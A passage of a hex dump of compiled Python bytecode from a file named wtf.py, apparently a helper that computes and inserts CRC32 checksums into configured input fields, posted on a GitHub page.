00000420: 7400 006a 0100 6401 0019 8301 0064 0400 6b02 0072 3601 7406 006a 0700 7408 007c  t..j..d......d..k..r6.t..j..t..|
00000440: 0400 6403 0019 8301 0083 0100 6408 0040 7d05 0071 c301 7405 0074 0000 6a01 0064  ..d.........d..@}..q..t..t..j..d
00000460: 0100 1983 0100 6404 006b 0400 72c3 0178 5500 7c04 0044 5d4a 007d 0600 7c06 007c  ......d..k..r..xU.|..D]J.}..|..|
00000480: 0400 6403 0019 6b02 0072 8401 7406 006a 0700 7408 007c 0600 8301 0064 0300 83f3  ..d...k..r..t..j..t..|.....d....
000004a0: a080 a202 006e 1900 7406 006a 0700 7408 007c 0600 8301 007c 0500 8302 0064 0800  .....n..t..j..t..|.....|.....d..
000004c0: 407d 0500 7156 0157 71c3 016e 1900 7406 006a 0700 7408 007c 0000 8301 0083 0100  @}..qV.Wq..n..t..j..t..|........
000004e0: 6408 0040 7d05 0064 0900 7c05 0016 7d05 007c 0500 6a09 0064 0a00 8301 007d 0500  d..@}..d..|...}..|..j..d.....}..
00000500: 740a 007c 0500 8301 007d 0500 640b 0074 0000 6a01 0064 0c00 196b 0600 7251 0274  t..|.....}..d..t..j..d...k..rQ.t
00000520: 0000 6a01 0064 0200 1972 3b02 7c05 006a 0b00 640d 0083 0100 7c00 0074 0000 6a01  ..j..d...r;.|..j..d.....|..t..j.
00000540: 0064 0200 1964 0300 1974 0000 6a01 0064 0200 1964 0300 1964 0a00 172b 71af 027c  .d...d...t..j..d...d...d...+q..|
00000560: 0000 7c05 006a 0b00 640d 0083 0100 377d 0000 6e5e 0064 0e00 7400 006a 0100 640c  ..|..j..d.....7}..n^.d..t..j..d.
00000580: 0019 6b06 0072 a002 7400 006a 0100 6402 0019 7293 027c 0500 7c00 0074 0000 6a01  ..k..r..t..j..d...r..|..|..t..j.
000005a0: 0064 0200 1974 0000 6a01 0064 0200 1964 0a00 172b 71af 027c 0000 7c05 0037 7d00  .d...t..j..d...d...+q..|..|..7}.
000005c0: 006e 0f00 640f 0047 4874 0300 6404 0083 0100 017c 0000 5328 1000 0000 4e74 0c00  .n..d..GHt..d......|..S(....Nt..
000005e0: 0000 696e 7075 745f 6669 656c 6473 740c 0000 0073 756d 5f6c 6f63 6174 696f 6e69  ..input_fieldst....sum_locationi
00000600: 0000 0000 6901 0000 0073 1f00 0000 496e 7661 6c69 6420 4352 4333 325b 2773 756d  ....i....s....Invalid CRC32['sum
00000620: 5f6c 6f63 6174 696f 6e27 5d3a 2073 2900 0000 2043 616e 6e6f 7420 6f76 6572 7772  _location']: s)... Cannot overwr
00000640: 6974 6520 4352 4333 325b 2769 6e70 7574 5f66 6965 6c64 7327 5d3a 2074 0100 0000  ite CRC32['input_fields']: t....
00000660: 2049 ffff ffff 0000 0000 7302 0000 0025 7869 0800 0000 7403 0000 0062 696e 7404   I........s....%xi....t....bint.
00000680: 0000 0074 7970 6574 0300 0000 6865 7874 0400 0000 7465 7874 732e 0000 0043 5243  ...typet....hext....texts....CRC
000006a0: 3332 5b27 7479 7065 275d 206e 6f74 2073 7065 6369 6669 6564 2069 6e20 636f 6e66  32['type'] not specified in conf
000006c0: 6967 5f68 6f64 6f72 2e70 7928 0c00 0000 5208 0000 0074 0500 0000 4352 4333 3252  ig_hodor.py(....R....t....CRC32R
000006e0: 1700 0000 7404 0000 0065 7869 7474 0600 0000 6170 7065 6e64 7403 0000 006c 656e  ....t....exitt....appendt....len
00000700: 7404 0000 007a 6c69 6274 0500 0000 6372 6333 3274 0300 0000 7374 7274 0500 0000  t....zlibt....crc32t....strt....
00000720: 7a66 696c 6c74 0900 0000 6279 7465 6172 7261 7974 0600 0000 6465 636f 6465 2807  zfillt....bytearrayt....decode(.
00000740: 0000 0052 0c00 0000 520d 0000 0052 0e00 0000 7406 0000 0066 6965 6c64 7374 0a00  ...R....R....R....t....fieldst..
00000760: 0000 7375 6d5f 7069 6563 6573 7408 0000 0063 6865 636b 7375 6d74 0100 0000 6928  ..sum_piecest....checksumt....i(
00000780: 0000 0000 2800 0000 0073 0600 0000 7774 662e 7079 7409 0000 0061 6464 5f43 5243  ....(....s....wtf.pyt....add_CRC
000007a0: 3332 1500 0000 733a 0000 0000 021a 0114 0136 013e 0114 030d 0106 0114 0120 0219  32....s:.........6.>......... ..
000007c0: 0120 0219 010d 014e 0219 010a 010f 010c 0213 010d 0133 0216 0113 010d 0122 020d  . .....N.............3......."..
000007e0: 0205 010a 0128 0800 0000 7407 0000 005f 5f64 6f63 5f5f 5204 0000 0052 1d00 0000  .....(....t....__doc__R....R....
00000800: 5202 0000 0052 0800 0000 520a 0000 0052 1100 0000 5227 0000 0028 0000 0000 2800  R....R....R....R....R'...(....(.
00000820: 0000 0028 0000 0000 7306 0000 0077 7466 2e70 7974 0800 0000 3c6d 6f64 756c 653e  ...(....s....wtf.pyt....<module>
00000840: 0600 0000 7308 0000 0006 0224 0118 0309 090a                                     ....s......$......

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment